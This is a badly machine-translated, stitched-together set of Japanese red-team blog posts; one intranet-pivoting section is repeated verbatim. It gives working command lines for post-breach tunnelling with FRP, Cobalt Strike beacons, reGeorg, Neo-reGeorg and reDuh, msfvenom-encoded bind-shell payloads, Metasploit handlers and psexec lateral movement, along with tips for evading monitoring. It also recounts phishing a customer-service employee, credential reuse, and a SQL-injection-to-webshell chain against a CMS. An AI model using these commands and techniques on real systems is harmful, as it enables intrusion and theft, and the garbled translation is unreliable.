1049983-20240512134215238-1957285179.png1 |ビーコンシェルNetstat -Ano | FindStr 4444

1049983-20240512134215956-1504058873.pngSSH login1 |ビーコンSSH 192.168.144.174:22ルート管理

2 |ビーコンSSH 192.168.144.203:22ルート管理1049983-20240512134216668-903606565.png Linuxターゲットマシンのネットワーク接続ステータスを確認します。これは、以前に起動したWindowsホストに確立された接続です。

1049983-20240512134217520-1183936029.png

ターゲットはネットワークから出ない(HTTPプロキシ)

ターゲットマシンネットワークには、HTTP一元配電のみを許可し、正常にインターネットにアクセスできないターゲットマシンネットワークにファイアウォール、ネットワークゲートなどがある場合があります。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。

Regeorg(Socks5)1 | python regeorgsocksproxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

1049983-20240512134218417-91446156.png Metasploitを使用してRegeorg Socks Proxyをハングして、MS17_010によって送信されたデータパケットをスキャンします。

1049983-20240512134219602-1128156753.pngneo-regeorg(暗号化)1 | python neoreg.py -kテスト@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo -tunnel.aspx

Neo-Regeorgを使用した後、パケットは暗号化されました。

1049983-20240512134220742-378445843.png Ice Scorpion(Open Socks5)Ice Scorpionのパケットトランスミッションは暗号化されており、ソックスプロキシ機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。

アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。

1049983-20240512134221866-2073188842.pngReduh(シングルポート転送)ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低い場合、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。

1049983-20240512134223045-1724645033.pngここで例として、Reduhを取り上げます。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。以下の特定のプロセスを見てみましょう。

1 | sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe

2 |

3 | -Platformプラットフォームペイロードのターゲットプラットフォームを指定します

4 | -e、-Encoderエンコーダー使用するエンコーダーを指定します

5 | -i、-iterationsカウントペイロード1049983-20240512134224058-1798659542.pngのエンコード時間の数を指定します。ペイロードをターゲットサーバーにアップロードして実行します。

1049983-20240512134224983-451445716.pngmetasploitは、転送を聞いた後のアドレスとポートです。

1 | sudo msfconsole -q

2 | MSF5 Exploit/Multi/Handlerを使用します

3 | MSF5 Exploit(Multi/Handler)Payload Windows/shell_bind_tcpを設定します

4 | MSF5 Exploit(Multi/Handler)Set RHOST 127.0.0.1

5 | MSF5 Exploit(Multi/Handler)Set LPort 5353

6 | MSF5 Exploit(Multi/Handler)Run -J 1049983-20240512134225767-1569256900.png Reduhserverがターゲットマシンに送信された後、Reduhclientを使用して接続し、リバウンドポートを局所的に回転させます。

1 | Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspx

2 |

3 | Telnet 127.0.0.1 1010

4 | [CreateTunnel] 5353:127.0.0.1:53 1049983-20240512134227332-754744672.pngは、メタプロイトに浸透するか、Socks4aをオンにして、他のセキュリティツールをマウントして浸透を継続することができます。

1 | MSF5 Exploit(Multi/Handler)補助/サーバー/Socks4aを使用します

2 | MSF5 Auxiliary(Server/Socks4a)SET SRVPORT 10080を設定します

3 | MSF5 Auxiliary(server/socks4a)run -J 1049983-20240512134228426-187155926.pngに注意してください。なぜペイロードにメータープレターの代わりにシェルが必要なのか。 MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!

1049983-20240512134230822-923441708.png

分離ネットワーク(マルチレベルエージェント)

イントラネット浸透中、孤立したネットワークが遭遇し、より論理的に分離されます。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。

FRPは現在、デュアルネットワークカードイントラネットサーバーの権限を取得しており、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。

1049983-20240512134231982-920312375.pngプロキシファイアがFRPで確立された後、外部ネットワークソックスとイントラネットソックスの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)

1049983-20240512134232742-924618499.pngプロキシルールを設定し、対応するプロキシを選択します。

1049983-20240512134233387-961964612.png 2番目の層エージェントが成功し、イントラネット分離マシン445検出が開かれました。

1049983-20240512134233965-1689779243.pngProxyChainsコマンドラインプロキシアーティファクトプロキシチャインは、第2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)

序文

イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。

以下は、「実際の戦闘におけるイントラネットの浸透の道」のマインドマップの自己サマリーです。

1049983-20240512134201496-1780382476.png

ターゲットアウトバウンド(ソックスプロキシ)

これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。

FRP(Socks5)FRPサーバー構成ファイル:

1 | [一般]

2 | bind_port=8080frpクライアント構成ファイル:

1 | [一般]

2 | server_addr=xx.xx.xx.xx

3 | server_port=8080

4 | #Serviceポートは一般的なWebポートを使用します

5 |

6 | [Socks5]

7 | type=tcp

8 | remote_port=8088

9 |プラグイン=socks5

10 | use_encryption=true

11 | use_compression=true

12 | #Socks5パスワード

13 | #plugin_user=superman

14 | #plugin_passwd=xpo2mcwe6nj3暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。

use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]

use_compression=True Enable Compression [送信されたネットワークトラフィックを効果的に削減し、トラフィック転送速度を高速化するように伝達コンテンツを伝達しますが、追加のCPUリソースを消費します]

use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。 FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連のフォルダーに配置されて非表示になります。

1049983-20240512134202733-1307124500.png 1049983-20240512134203670-2094206611.png 1049983-20240512134204255-725553901.png暗号化圧縮の比較これは、暗号化と圧縮関数を使用しないFRPクライアント構成ファイルです。 Metasploitは、Socksプロキシを使用して、MS17_010から送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。

1049983-20240512134205015-817056185.png暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を避けて、送信されたデータパケットを区別できません。

1049983-20240512134205882-1270973653.pngコバルトストライク(Socks4a)制御されたターゲットマシンのビーコンに、ソックスエージェントを有効にします。

1 |ビーコンソックス1024 #portは、VPSの実際の状況に応じて設定されています

1049983-20240512134206742-1303778529.pngプロキシピボットを表示メニューバーで、コピープロキシはMetaSploitに接続されているか、関連するセキュリティツールにSocks4aを直接ハングします。

1049983-20240512134207715-2015895728.pngは、オンラインマシンでは利用できません。これはリンクリンクです。メインリンク(ネットワークビーコン)が切断されている限り、それらはすべて切断されます!

SMBビーコン公式紹介SMBビーコン:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用しています。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。

SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。

1049983-20240512134208849-655736604.png操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。

1049983-20240512134209667-901525554.png 1049983-20240512134210353-12480323.pngは、メインビーコンのリンクホストリンクまたはリンクホストをリンクすることと切断できます。

1 |ビーコンリンク192.168.144.155

2 | Beaccon Unlink 192.168.144.155 1049983-20240512134211037-132998840.pngLinkリスナーオンラインホストでリスナーを作成します。

1049983-20240512134211928-517817209.pngこのタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。

1049983-20240512134212756-942516291.png作成したばかりのリスナーを選択します。

1049983-20240512134213577-342299124.png現在のオンラインターゲットマシンに生成されたペイロードをアップロードし、PSEXEC.EXEツールをこちらを使用してください。 (Cobalstrike自体は十分に強力ではありません)1049983-20240512134214378-27620203.pngビーコンのPSEXECツールを使用して、ネットワークを離れない、自動的に実行し、オンラインになるターゲットマシンにペイロードをアップロードします。

1 |ビーコンシェルC:WINDOWSTEMPPSEXEC.EXE -ACCEPTEULA \ 192.168.144.155,192.168.144.196 -U管理者-P管理

1049983-20240512134215238-1957285179.png1 |ビーコンシェルNetstat -Ano | FindStr 4444

1049983-20240512134215956-1504058873.pngSSH login1 |ビーコンSSH 192.168.144.174:22ルート管理

2 |ビーコンSSH 192.168.144.203:22ルート管理1049983-20240512134216668-903606565.png Linuxターゲットマシンのネットワーク接続ステータスを確認します。これは、以前に起動したWindowsホストに確立された接続です。

1049983-20240512134217520-1183936029.png

ターゲットはネットワークから出ない(HTTPプロキシ)

ターゲットマシンネットワークには、HTTP一元配電のみを許可し、正常にインターネットにアクセスできないターゲットマシンネットワークにファイアウォール、ネットワークゲートなどがある場合があります。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。

Regeorg(Socks5)1 | python regeorgsocksproxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

1049983-20240512134218417-91446156.png Metasploitを使用してRegeorg Socks Proxyをハングして、MS17_010によって送信されたデータパケットをスキャンします。

1049983-20240512134219602-1128156753.pngneo-regeorg(暗号化)1 | python neoreg.py -kテスト@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo -tunnel.aspx

Neo-Regeorgを使用した後、パケットは暗号化されました。

1049983-20240512134220742-378445843.png Ice Scorpion(Open Socks5)Ice Scorpionのパケットトランスミッションは暗号化されており、ソックスプロキシ機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。

アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。

1049983-20240512134221866-2073188842.pngReduh(シングルポート転送)ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低い場合、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。

1049983-20240512134223045-1724645033.pngここで例として、Reduhを取り上げます。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。以下の特定のプロセスを見てみましょう。

1 | sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe

2 |

3 | -Platformプラットフォームペイロードのターゲットプラットフォームを指定します

4 | -e、-Encoderエンコーダー使用するエンコーダーを指定します

5 | -i、-iterationsカウントペイロード1049983-20240512134224058-1798659542.pngのエンコード時間の数を指定します。ペイロードをターゲットサーバーにアップロードして実行します。

1049983-20240512134224983-451445716.pngmetasploitは、転送を聞いた後のアドレスとポートです。

1 | sudo msfconsole -q

2 | MSF5 Exploit/Multi/Handlerを使用します

3 | MSF5 Exploit(Multi/Handler)Payload Windows/shell_bind_tcpを設定します

4 | MSF5 Exploit(Multi/Handler)Set RHOST 127.0.0.1

5 | MSF5 Exploit(Multi/Handler)Set LPort 5353

6 | MSF5 Exploit(Multi/Handler)Run -J 1049983-20240512134225767-1569256900.png Reduhserverがターゲットマシンに送信された後、Reduhclientを使用して接続し、リバウンドポートを局所的に回転させます。

1 | Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspx

2 |

3 | Telnet 127.0.0.1 1010

4 | [CreateTunnel] 5353:127.0.0.1:53 1049983-20240512134227332-754744672.pngは、メタプロイトに浸透するか、Socks4aをオンにして、他のセキュリティツールをマウントして浸透を継続することができます。

1 | MSF5 Exploit(Multi/Handler)補助/サーバー/Socks4aを使用します

2 | MSF5 Auxiliary(Server/Socks4a)SET SRVPORT 10080を設定します

3 | MSF5 Auxiliary(server/socks4a)run -J 1049983-20240512134228426-187155926.pngに注意してください。なぜペイロードにメータープレターの代わりにシェルが必要なのか。 MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!

1049983-20240512134230822-923441708.png

分離ネットワーク(マルチレベルエージェント)

イントラネット浸透中、孤立したネットワークが遭遇し、より論理的に分離されます。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。

FRPは現在、デュアルネットワークカードイントラネットサーバーの権限を取得しており、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。

1049983-20240512134231982-920312375.pngプロキシファイアがFRPで確立された後、外部ネットワークソックスとイントラネットソックスの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)

1049983-20240512134232742-924618499.pngプロキシルールを設定し、対応するプロキシを選択します。

1049983-20240512134233387-961964612.png 2番目の層エージェントが成功し、イントラネット分離マシン445検出が開かれました。

1049983-20240512134233965-1689779243.pngProxyChainsコマンドラインプロキシアーティファクトプロキシチャインは、第2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)

0x00はじめに

赤と青の対立は間違いなく連続的なゲームプロセスです。近年の継続的な犯罪と防御により、戦いは次々と戦われ、Webの脆弱性は急激に減少し、ソーシャルワーカーのフィッシングは明らかに主流の攻撃方法の1つになりました。

图片

0x01免責事項

慎重に読んで、次の用語を完全に理解してください。

1.この公式アカウントが共有する記事は、法的に認可されたエンタープライズセキュリティ構築と個人学習行動のみを目的としています。組織または個人は、違法行為に使用することを厳しく禁止されています。

2.この記事では、関連するツールとテクノロジーを使用してテストする場合、行動が地域の法律や規制に準拠し、十分な許可を取得していることを確認する必要があります。

3.この記事で関連するツールとテクノロジーを使用する過程で違法行為がある場合、あなたはあなた自身の裁量で対応する結果を負担する必要があり、私たちは法的責任または共同責任を負いません。

4.組織や個人がこの公式アカウントの名前で違法な利益を上げることは厳密に禁止されています。

5.この公式アカウントのすべての共有ツールと技術記事は、許可なしに公開共有を厳しく禁止しています。

上記の禁止行動が発見された場合、私たちは法的責任を追求する権利を留保し、あなたは禁止された行動によって引き起こされた結果を負担するものとします。

0x02通常の操作を通過します

ターゲットを取得した後- 資産収集- ソフトペルモンを見つける - 料理をしてみてください

ターゲットユニット情報を取得した後、Qichachaドメイン名とエンタープライズ構造を介して、外国投資がなく、優れたユニット企業は1つしかなかったことがわかりました。

图片

サブドメインを探して、利用可能な資産はありません(Virustotal.com、高速かつ簡単ですが不正確です)

图片

また、QAXNBアセットマッピングプラットフォームを通じて利用可能な情報があるかどうかを確認するのも空です。

图片

マルチポイントping、ドメイン名の解像度、その他の操作を通じて、それらはすべてAlibabaクラウドを指していることがわかります

图片

一連のプロセスの後、不変の公式Webサイト(ドメイン名の解像度がクラウドを指し示すことを除いて、管理する目標はありません。深く掘り下げる気分はありません)。

ついに結論に達しました:私は実際に柔らかいpersimmonです

0x03すべての道路はローマに通じています

Webを移動できない場合、通常の操作を実行できません。公式アカウント、ミニプログラムで指を向けてください

モバイル端末の適用をテストし、リクエストアドレスとパケットリターンのコンテンツを観察することにより、実際のIPアドレスが最終的に見つかりました。そのため、公式Webサイトはクラウドにありませんでした。

图片

IPを通じて、フルポートスキャンはH3Cネットワーク管理機器に存在することがわかりました。 IPがエクスポートIPであると大まかに推測できます。

图片

前面と背面にある5 IPの完全なポート情報をスキャンすることで、いくつかのアプリケーションシステムを見つけることができて大喜びしました。彼らは柔らかいperのように見えました、そして、私は成功が私の目の前にいると感じました。私は魂を叩き、黄色いドラゴンを襲おうとしていました。私はそれについて考えることに少し興奮していました。 hehehehe

その結果、いくつかの抜け穴がありますが、それらのどれも移動することはできず、GetShellが失敗しました

案の定、柔らかいperは私です

しかし、私たちはすべて攻撃と防御をする銃の王であり、最後の瞬間まであきらめません。特定のシステムに侵入したとき、私たちは大きな赤ちゃんを見つけました(オンラインマニュアル1対1のWeChat QRコード)

图片

0x04ターゲットカスタマーサービスが大好きです

ターゲットカスタマーサービスを追加した後、私の興奮した心と震える手はすべて、私たち2人が初恋と同じくらい美しいことを意味します。私たちが火に会うとき、今夜何かが起こります。 hehehe

会話の時間間隔と返信の短い言葉を通して、彼女が私の誠実な心のために無駄に私にとっては不安定であることを見るのは難しくありません。

しかし、ことわざにあるように、「私は勇敢になり、死に飢えます」。私は彼女が私に十分に気にかけていないと結論付けたので、私は勇敢で良い男になることにしました。

图片

案の定、私の判決の下で、「よろしいですか?本当に私を扱っていますか?」、2人の攻撃の下で、彼女は心を変えて、私の大きな赤ちゃんをクリックしました。また、彼らのユニットのイントラネットを正常に入力しました。

图片

图片

0x05の詳細は、成功または失敗を決定します

プロセス情報とポート情報を収集することにより、Kingsoft Antivirusがイントラネットに存在することが発見され、アクセスがV9であることがわかりました(アップロードおよび固定)

图片

詳細はこちらです。正面の公式アカウントをテストしていたとき、アカウントのパスワードを見つけて、さりげなく記録しました。

图片

ルールを分析した後、いくつかのアカウントパスワードを手動で再編成し、それらを使用してKingsoft Anti-Virusと衝突します。魂の別のショットが打たれ、それは正確な打撃であり、成功裏に勝ちました。

图片

古代人は次のように述べています。「内部ネットワークを持っている場合、コントロールを集中化した人は世界に勝ちます。」この時点では、ユニットのイントラネットを落とすだけで十分ですが、十分ではありません。私はいつも何かが欠けていると感じているので、急いで続けなければなりません。

組み立てられたパスワードを通じて、上記のH3Cネットワークデバイスを取得し、ネットワーク管理者に直接なったことがわかりました。すべてのルーティングの方向とネットワーク戦略を理解しました。 hehehehe

图片

慎重なマスターは、イントラネットにVMware(特定の写真にアピールするWebtitle)があることを実際に発見したので、私は間違いなく彼女を手放すことができませんよね?

歴史的な脆弱性を通じて正常に取得され、コア生産システムが展開されていることがわかりましたが、歴史的な脆弱性は修復されませんでした。

图片

getShell -data.mdb -decrypt-クッキーを取得- 背景を入力する

图片

他はすべて断片化されたものであり、技術的な内容はあまりありません。マスターもそれが好きではないと信じているので、ここでやめましょう。再び戦うのは失礼です。

0x06攻撃ルート

图片

0x07最後の単語

記事には不合理または不適切なコンテンツがあります。コメントへようこそ。

記事の違法または侵害の内容があります。この記事は、確認の直後に削除されることを指摘するよう歓迎します。

元のリンクから転載:https://mp.weixin.qq.com/s/cixtfpn__ -xxtpcte2ow?scene=25#wechat_redirect

0x00キーワードを使用して、ターゲットソースコードを取得します

ある朝、私は会社で浸透テストを実施するための一時的な取り決めを受けました。この浸透は主要なドメイン名を与え、サブドメインはありませんでした。ターゲットWebサイトを開いた後、最初に情報を収集しました。1049983-20220106103918120-1949305445.png

ミドルウェア: IIS 8.5 1049983-20220106103918574-542283566.png

管理者を入力して、それが自動的に追加されたことを発見しました/

それはそのディレクトリが存在することを意味しますので、ファイルの波を盲目的に推測する、login.aspx default.aspx main.aspxなど1049983-20220106103919310-1402173741.png

最後に、バックグラウンドログインページはlogin.aspxで見つかりました。これは弱いパスワードの波ではありませんか?

アカウントは、試用操作1049983-20220106103920127-1825260822.pngの後にロックされています

おなじみのスタートは、そうだから、他の方法しか試すことができないからです。

いくつかの情報は、ホームページ1049983-20220106103920974-1940392655.pngのHTMLコードで見つかりました

デザインと制作?次のドメイン名によると、それはウェブサイトの建物会社です

次に、これがポイントです。 IIS8.5+ASP.NET+サイト構築システム

バックアップファイルを最初にスキャンします1049983-20220106103921425-155429375.png

この開発者にとっては、400個以上のIPが問題ありません。 FOFAクエリツールを使用して、バッチ1049983-20220106103921829-1448871529.pngでエクスポートします

次に、バックアップファイルをスキャンします。ここでは、兄弟Bのスキャナー3https://github.com/breken5/webalivescanをお勧めします

バッチサバイバルスキャンとディレクトリスキャンを実行できます1049983-20220106103922341-218058023.png

いくつかのサイトの下にweb.zipバックアップファイルを見つけました。

ダウンロード後、ターゲットサイトファイルが比較されました。基本的に一貫した1049983-20220106103922901-1069820455.png

0x01コードを取得して監査して壁を何度も押し始めます

次に、監査を開始します。1049983-20220106103923815-1139109272.png

インターフェイスWebClient.DownLoadFile(リモートファイルのダウンロード)に敏感な操作を置く

この方法は絶対的なパスを提供する必要があるためです。それは頭痛ですが、関連するパラメーターに従っています。発見する。

この方法は別の方法で呼び出されます。1049983-20220106103924399-1355850887.png

server.mappathで渡されますが、絶対的なパスを見つける必要はありません。システムはあなたのためにそれを手配しました。

次に、POC:を構築します

ashx/api.ashx?m=downloadfilefilepath=asmx.jpgweburl=http://***。CN/1049983-20220106103925555-1905383795.png

アクセスアドレス1049983-20220106103926268-1173007218.png

ファイルが存在し、その後、証明が実現可能になります

ターゲットアドレス1049983-20220106103926962-1035196824.pngに戻ります

ファイルが固定されていません

引き続きコードに戻り、他の脆弱性を監査し、他のインターフェイスに複数の脆弱性があります。たとえば、ueditorリモートクロール脆弱性1049983-20220106103927586-1941905001.png

ファイルの名前変更は揺るがす可能性があります

1049983-20220106103928097-1137720979.png

ただし、これらのインターフェイスにはログイン1049983-20220106103928670-62149113.pngが必要です

これは頭痛であり、ログインを必要としないいくつかのインターフェイスでSQLインジェクションを見つけようとする予定です。

最後に、SQLステッチがどこかで発見されました。1049983-20220106103929492-118196344.png

しかし、ここでは、ISSAFESQLSTRING検出は1049983-20220106103930051-247295581.pngと呼ばれます

一般的なシンボルは基本的に立ち往生しています

0x02開発者を取り、一般アカウントの逆暗号化と復号化アルゴリズムを見つけます

それらはすべて同じWebサイトビルディングプログラムを使用しているため、プログラムに組み込みアカウントがあると疑われています。

それで、私は監査したばかりの抜け穴を渡す準備をしました。同じプログラムサイトから始めます

最後に、特定のサイトでウェブシェルを正常に手に入れました

関連情報1049983-20220106103930560-496241117.pngをご覧ください

これは実際にはメーカーのデモサイトグループであり、開発者のすべてのサイトソースコードが保存されています。

開発プロセス中に多くのデモ環境があるはずであり、すべての顧客がそれらを持っていると推定されています。

サーバーを介してターゲットサイト1049983-20220106103931009-71314533.pngのデモWebサイトにめくりました

ルートディレクトリには、ZIP WebサイトのバックアップとSQLデータベースバックアップがあります。

ターゲットサイトが直接移動された場合、バックエンドアカウントのパスワードは同じでなければなりません。

SQLファイルをダウンロードします。関連情報1049983-20220106103931570-1846651994.pngを検索します

アカウントに挿入されたSQLステートメントが見つかりました。そのパスワードは、1049983-20220106103932232-1921050966.pngで暗号化されています

CMD5のロックを解除できないため、Ciphertextを33ビット暗号化として見ました。

ただし、ログインプロセス中、パスワードはRSA暗号化後に送信されますが、バックエンドは実際には33ビットMD5暗号化です。

ソースコードのため、ログインメソッドを追跡しました。1049983-20220106103933554-2142229781.png

パスワードが渡された後、Commfun.ENPWDが暗号化のために呼び出されます。

ENPWDメソッド1049983-20220106103934086-1207557966.pngの追跡

渡されたパスワードはRSAタイプであり、RSA復号化が最初に実行され、次にDES暗号化が実行されることがわかります。

Desencrypt.Encryptメソッドを追跡します。1049983-20220106103934466-1892231958.png

カプセル化され、暗号化されたキーに渡された暗号化メソッドは次のとおりです。

そのコア暗号化方法は次のとおりです。1049983-20220106103934918-1778582804.png

そして、このカテゴリで。また、復号化方法1049983-20220106103935511-1781289920.pngも定義します

暗号化方法と復号化方法とキーが取得されます。その後、それを引き出して別々に呼び出す必要があります。1049983-20220106103936101-1935894672.png

暗号化された文字を復号化し、結果を取得します1049983-20220106103936660-850388884.png

1049983-20220106103938164-373416304.pngにログインしてみてください

私は長い間一生懸命働いていましたが、それは無駄でした。

0x03暗いヤナギと花がターゲットシェルを獲得します

すでに午後4時です。まだ進歩がなく、SQLフィルタリングをバイパスしようとする準備ができています。

現時点では、SQL注入ポイントが見つかりました。1049983-20220106103938695-190719613.png

メソッドは2つのパラメーターを受信しますが、1つのパラメーターのみをフィルターします。

ターゲットWebサイト1049983-20220106103939091-740130853.pngのクイズ

既存の注入では、WAFがゴミパラメーターで正常に満たされていることがわかりました。

1049983-20220106103939954-426082430.png

sqlmapにアクセスして心の安らぎで実行し、システムアカウントとパスワードを入手してください1049983-20220106103940604-42722927.png

取得した暗号文を復号化して結果を取得します

1049983-20220106103941431-713547984.png

ログインしてみてください。今、そうです!1049983-20220106103941866-739496859.png

ついに来てください!

以前の監査の後、多くのインターフェイスが脆弱性を持っていることがわかっており、今ではログインしていることに成功しています。

ueditorで直接それを奪ってください。1049983-20220106103942350-1890359523.png

シェルが成功しました

0x04要約

1。ターゲットURLの後に管理者に管理バックエンドを表示する管理者に追加し、Webサイトの下部にあるWebサイトのCMS情報を照会します。2。 Webサイトの1つがソースコード圧縮パッケージのリークを持っていることがわかりました。5。Webサイトのソースコードのローカルコード監査を実行し、ASHX/API.ASHXにログインする脆弱性があります。では、SQLインジェクションの脆弱性があり、ログインする必要があり、フィルタリングされます6。 7。WebShellを通じて、サイトグループの各WebサイトのルートディレクトリにZIP WebサイトのバックアップとSQLがあることがわかります。データベースバックアップ、SQLステートメントには、挿入されたユーザー名とパスワードが含まれています(パスワードは33桁です)。サイトグループのすべてのログインは、基本的に同じユーザー名とパスワードを使用します。 8。ソースコード分析により、ログインがRSA+DESを介して暗号化され、暗号化方法とキー値がソースコードで見つかったことがわかりました。 10。ソースコードの暗号化方法を介して復号化方法を記述し、ハッシュ値を復号化しますが、ログインすることは不可能です。11をログインすることは不可能です。ソースコード監査により、別のSQLインジェクションが見つかりました。ここで、WAFはガベージ充填データを介してユーザー名を傍受および注入し、SQLMapを介してユーザー名を実行します。上記の復号化方法を介して、パスワードハッシュ値が復号化され、プレーンテキストパスワードが最終的に取得されます。 12。取得したユーザー名とパスワードを介してシステムにログインし、ueditorエディターのリモートファイルダウンロードを介してターゲットシステムの元のWebshellリンクを取得します:https://xz.aliyun.com/t/8375

0x00赤チームとは

レッドチームは一般に、実際のオンライン攻撃および防御演習で攻撃パーティーを指します。

レッドチームは通常、システム、人事、ソフトウェア、ハードウェア、および機器を同時にターゲットにするマルチアングル、ハイブリッド、および対立シミュレーション攻撃をターゲットにします。システムパワープロモーション、制御サービス、およびデータの取得を達成することにより、システム、テクノロジー、人事、インフラストラクチャのネットワークセキュリティリスクまたは弱いリンクを発見します。

レッドチームのスタッフは、一般的な意味でコンピューターハッカーではありません。ハッカーはしばしばシステムを突破して利益を得ることを目指しているからです。レッドチームは、システム内の弱いリンクを発見し、システムセキュリティを改善することを目指しています。さらに、普通のハッカーの場合、特定の攻撃方法が効果的に目標を達成できることがわかっている限り、通常、他の攻撃方法と方法を試す必要はありません。しかし、レッドチームの目標は、システム内のすべてのセキュリティ問題を可能な限り見つけることです。そのため、攻撃を完了するために既知の「すべての」方法を使い果たすことがよくあります。言い換えれば、レッドチームの職員が必要とするのは、1つまたは2つの素晴らしいハッキングテクニックだけでなく、包括的な攻撃的および防御能力です。

Redチームの仕事は、業界でよく知られている浸透テストとも異なります。通常、浸透テストは、標準化された技術プロセスに従ってターゲットシステムのセキュリティテストです。レッドチームの攻撃は一般に攻撃範囲と攻撃期間を制限し、特定の攻撃方法に制限はありません。一般に、侵入テストプロセスは脆弱性の存在を検証するだけで、REDチーム攻撃ではシステム許可またはシステムデータの実際の取得が必要です。さらに、浸透テストでは一般に、ソーシャルワーカーの使用が禁止されていることが必要です(攻撃は誘導、欺ceなどによって完了します)。

:は通常、実際の戦闘攻撃および防御演習中に赤チームの攻撃方法を厳密に制限しないが、すべての技術の使用と目標の達成も関連する国の法律と規制を厳密に順守しなければならないという別の点を説明する必要があります。

運動の実践では、レッドチームには通常、戦闘チームとして3人、チームリーダーとして1人がいます。チームリーダーは通常、レッドチームで最も強力な包括的な能力を持つ人であり、強力な組織的認識、適応性、豊かな実践的な経験を必要とします。 2人のチームメンバーは、ボーダーブレークスルー、水平ムーブメント(1つの制御されたデバイスを使用して他の隣接するデバイスを攻撃する)、インテリジェンスコレクション、または武器生産など、1つまたは複数の側面の専門知識を持つ独自の強みを持つ必要があることがよくあります。

レッドチームの作業の能力要件は、多くの場合、包括的かつ包括的です。 Redチームのメンバーは、さまざまなハッキングツールと分析ツールを使用するのに熟練しているだけでなく、ターゲットシステムとそのセキュリティ構成に精通し、特別な問題に対処するための特定のコード開発機能を持っている必要があります。

0x02 Red Team 3つのスキル - 3段階の攻撃

